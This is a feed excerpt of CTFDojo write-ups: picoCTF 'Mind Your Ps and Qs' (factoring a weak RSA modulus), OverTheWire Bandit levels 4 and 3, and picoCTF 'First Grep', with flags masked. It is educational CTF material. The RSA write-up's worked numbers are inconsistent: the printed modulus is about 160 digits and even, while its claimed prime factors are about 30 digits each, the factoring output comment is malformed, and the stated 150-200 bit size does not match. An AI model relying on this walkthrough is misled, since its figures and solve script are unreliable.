&lt;li&gt;Stacking multiple &lt;code&gt;find&lt;/code&gt; conditions together narrows results fast, without opening a single file by hand&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level5-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Mind Your Ps and Qs Writeup — Factor a Weak RSA Modulus</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Tue, 13 Oct 2026 20:58:34 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-mind-your-ps-and-qs-writeup-factor-a-weak-rsa-modulus-38bo</link>
      <guid>https://dev.to/ctfdojo/picoctf-mind-your-ps-and-qs-writeup-factor-a-weak-rsa-modulus-38bo</guid>
      <description>&lt;p&gt;&lt;em&gt;The challenge provides an RSA modulus &lt;code&gt;n&lt;/code&gt;, a public exponent &lt;code&gt;e&lt;/code&gt;, and a ciphertext &lt;code&gt;c&lt;/code&gt;. Since &lt;code&gt;n&lt;/code&gt; is deliberately chosen small (and therefore quickly factorable), we recover its two prime factors &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt;, which lets us reconstruct the private key and decrypt the message.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 300 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; RSA, factoring a weak modulus&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a file containing three values, typical of RSA encryption:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;65537&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;22096451867410381776306561134883418017410069787050966603363725310937568517600847513921546455407864126394183248424695972200310248528204322581018327246672712340281&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These values are typically provided in decimal or hexadecimal, sometimes alongside a &lt;code&gt;values.py&lt;/code&gt; or &lt;code&gt;pubkey.pem&lt;/code&gt; file. The goal is to recover the plaintext message, which contains the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — RSA refresher
&lt;/h2&gt;

&lt;p&gt;RSA relies on a modulus &lt;code&gt;n = p × q&lt;/code&gt;, the product of two large prime numbers kept secret. The system's security depends entirely on the difficulty of recovering &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; from &lt;code&gt;n&lt;/code&gt; alone — a problem called integer factoring, considered hard for sufficiently large numbers (2048 bits or more in production).&lt;/p&gt;

&lt;p&gt;But if &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are chosen too small, factoring becomes trivial for a modern computer, and the entire cryptographic edifice collapses: anyone can recover the private key from the public key alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Factor n
&lt;/h2&gt;

&lt;p&gt;We use Python's &lt;code&gt;sympy&lt;/code&gt; library, which provides a ready-to-use factoring function. On a deliberately small &lt;code&gt;n&lt;/code&gt; (around 150-200 bits here, far from the recommended 2048 bits), factoring takes only a few seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sympy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;factorint&lt;/span&gt;

&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478&lt;/span&gt;

&lt;span class="n"&gt;factors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;factorint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# {154909844708812734120534792101 * 189329039205892345689032156201: 1}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We obtain two prime factors &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; such that &lt;code&gt;p × q = n&lt;/code&gt;. (Alternatively, for an &lt;code&gt;n&lt;/code&gt; already known publicly, a service like &lt;a href="http://factordb.com" rel="noopener noreferrer"&gt;factordb.com&lt;/a&gt; can sometimes give the factoring directly, without even having to compute it yourself.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Reconstruct the private key
&lt;/h2&gt;

&lt;p&gt;Once &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are known, we can reconstruct everything needed to decrypt:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Compute Euler's totient: &lt;code&gt;φ(n) = (p-1)(q-1)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Compute the private exponent &lt;code&gt;d&lt;/code&gt;, the modular inverse of &lt;code&gt;e&lt;/code&gt; modulo &lt;code&gt;φ(n)&lt;/code&gt;: &lt;code&gt;d = e⁻¹ mod φ(n)&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;154909844708812734120534792101&lt;/span&gt;
&lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;189329039205892345689032156201&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;65537&lt;/span&gt;

&lt;span class="n"&gt;phi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;phi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# modular inverse (Python 3.8+)
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;d =&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Decrypt
&lt;/h2&gt;

&lt;p&gt;RSA decryption is simply raising the ciphertext &lt;code&gt;c&lt;/code&gt; to the power &lt;code&gt;d&lt;/code&gt;, modulo &lt;code&gt;n&lt;/code&gt;: &lt;code&gt;m = c^d mod n&lt;/code&gt;. The result is a large integer that then needs to be converted back into bytes, then readable text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sympy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;factorint&lt;/span&gt;

&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;65537&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;22096451867410381776306561134883418017410069787050966603363725310937568517600847513921546455407864126394183248424695972200310248528204322581018327246672712340281&lt;/span&gt;

&lt;span class="c1"&gt;# 1. factoring
&lt;/span&gt;&lt;span class="n"&gt;factors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;factorint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;factors&lt;/span&gt;

&lt;span class="c1"&gt;# 2. reconstruct the private key
&lt;/span&gt;&lt;span class="n"&gt;phi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;phi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 3. decryption
&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 4. convert integer -&amp;gt; bytes -&amp;gt; text
&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_bytes&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bit_length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byteorder&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python3 solve.py
picoCTF{***************************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;RSA's security rests entirely on the difficulty of factoring very large prime numbers — in practice, keys of 2048 bits or more.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;As soon as the factors &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are small enough to be factored in a reasonable time, the entire system collapses&lt;/li&gt;
&lt;li&gt;Other classic key-generation flaws lead to the same result: &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; too close to each other (Fermat's attack), or reusing the same prime factor across several different keys (computing the GCD between several moduli)&lt;/li&gt;
&lt;li&gt;In practice, key size isn't enough on its own: it's the quality of the random prime generation that guarantees the system's real-world security&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-mind-your-ps-and-qs-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>OverTheWire Bandit Level 4 Writeup — Spot the Real Text File Among Junk</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Fri, 09 Oct 2026 20:34:19 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-4-writeup-spot-the-real-text-file-among-junk-58of</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-4-writeup-spot-the-real-text-file-among-junk-58of</guid>
      <description>&lt;p&gt;&lt;em&gt;The &lt;code&gt;inhere&lt;/code&gt; directory holds several similarly-named files, only one of which is actual human-readable text. The &lt;code&gt;file&lt;/code&gt; command identifies each file's real type without opening it.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 4 → 5&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; File type identification&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Level 4's &lt;code&gt;inhere&lt;/code&gt; directory contains around ten files with near-identical names (like &lt;code&gt;-file00&lt;/code&gt; through &lt;code&gt;-file09&lt;/code&gt;). Only one is a plain text file — the rest are decoys with random binary data.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the reset command."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — List the decoy files
&lt;/h2&gt;

&lt;p&gt;Log in as bandit4, move into &lt;code&gt;inhere&lt;/code&gt;, and see what's there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;inhere
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-file00  -file01  -file02  -file03  -file04
-file05  -file06  -file07  -file08  -file09
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — Identify each file's real type
&lt;/h2&gt;

&lt;p&gt;Rather than opening every file by hand, ask the &lt;code&gt;file&lt;/code&gt; command what each one actually contains — it inspects the content, not just the name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file ./&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./-file00: data
./-file01: data
./-file02: data
...
./-file07: ASCII text
./-file08: data
./-file09: data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Read the real text file
&lt;/h2&gt;

&lt;p&gt;Only one file is reported as ASCII text — that's the password. The filenames start with a dash, so use the same &lt;code&gt;./&lt;/code&gt; fix from Level 1:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ./-file07
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit5]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;A file's extension or name tells you nothing reliable about its actual content — &lt;code&gt;file&lt;/code&gt; reads the real bytes and reports the true type. It's one of the fastest ways to triage a pile of unknown files before deciding which ones are worth opening.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;file&lt;/code&gt; inspects a file's actual content, not its name or extension&lt;/li&gt;
&lt;li&gt;A wildcard like &lt;code&gt;./*&lt;/code&gt; runs it against every file in the directory at once&lt;/li&gt;
&lt;li&gt;The dash-prefixed filenames here need the same &lt;code&gt;./&lt;/code&gt; fix as Level 1&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level4-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF First Grep Writeup — Find a Flag with grep</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 08 Oct 2026 20:24:50 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-first-grep-writeup-find-a-flag-with-grep-41h7</link>
      <guid>https://dev.to/ctfdojo/picoctf-first-grep-writeup-find-a-flag-with-grep-41h7</guid>
      <description>&lt;p&gt;&lt;em&gt;A large text file containing a huge amount of noise lines is provided. The &lt;code&gt;grep&lt;/code&gt; command lets us search directly for the pattern &lt;code&gt;picoCTF{&lt;/code&gt; across all this content in a single command, without having to read the file manually.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; General Skills / Misc&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 50 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Text search with grep&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides an archive containing a large text file, &lt;code&gt;file.txt&lt;/code&gt;, with several thousand lines of randomly generated content. The challenge's name — "First Grep" — clearly hints at the tool expected to solve it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Observe the problem
&lt;/h2&gt;

&lt;p&gt;We download and open the file in a text editor to get a sense of it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ wc -l file.txt
118421 file.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Over 118,000 lines. Scanning it manually, line by line, to spot a specific string is simply impractical. We need a search tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Use grep
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;grep&lt;/code&gt; command (Global Regular Expression Print) searches for a pattern in a text file and only displays the lines that contain it. We search directly for the characteristic prefix of all picoCTF flags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"picoCTF{"&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command returns almost instantly the one relevant line out of the 118,000:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a8f3k2j9x... picoCTF{***************************} ...m3n5p8q1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — The case of a whole folder
&lt;/h2&gt;

&lt;p&gt;If the provided archive contains several files spread across subfolders rather than a single large file, the &lt;code&gt;-r&lt;/code&gt; (recursive) option lets us apply the same search to the entire tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"picoCTF{"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
./data/part_042/chunk_17.txt:...picoCTF&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="k"&gt;***************************&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This option is extremely useful outside of CTFs too — for example to quickly find a string across an entire codebase or a folder of logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Useful variants
&lt;/h2&gt;

&lt;p&gt;A few &lt;code&gt;grep&lt;/code&gt; options that come up constantly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;grep -o "picoCTF{.*}"&lt;/code&gt; — only prints the matching pattern (the part matched by the regular expression), not the whole line. Handy when the line has a lot of noise around the flag&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -i&lt;/code&gt; — ignores case (upper/lowercase), useful when unsure of the exact format&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -n&lt;/code&gt; — prints the matching line number, handy for finding the context back in the original file
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"picoCTF{[^}]*}"&lt;/span&gt; file.txt
picoCTF&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="k"&gt;***************************&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;grep&lt;/code&gt; is probably the most used tool day-to-day in CTFs as well as system administration. Knowing how to search for a precise pattern in a large volume of text — logs, memory dumps, source code, network captures — is a non-negotiable base skill.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;grep "pattern" file&lt;/code&gt; remains the fastest command to find a needle in a haystack of text&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -r&lt;/code&gt; extends the search to entire folders, very useful when facing large archives&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -o&lt;/code&gt; and regular expressions let you extract exactly what you're looking for rather than the whole line&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-first-grep-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>OverTheWire Bandit Level 3 Writeup — Find a Hidden Dotfile</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Tue, 06 Oct 2026 20:33:59 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-3-writeup-find-a-hidden-dotfile-5doa</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-3-writeup-find-a-hidden-dotfile-5doa</guid>
      <description>&lt;p&gt;&lt;em&gt;The password lives inside a hidden file (its name starts with a dot) inside the &lt;code&gt;inhere&lt;/code&gt; directory. Plain &lt;code&gt;ls&lt;/code&gt; hides dotfiles — &lt;code&gt;ls -a&lt;/code&gt; reveals them.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 3 → 4&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Hidden files (dotfiles)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

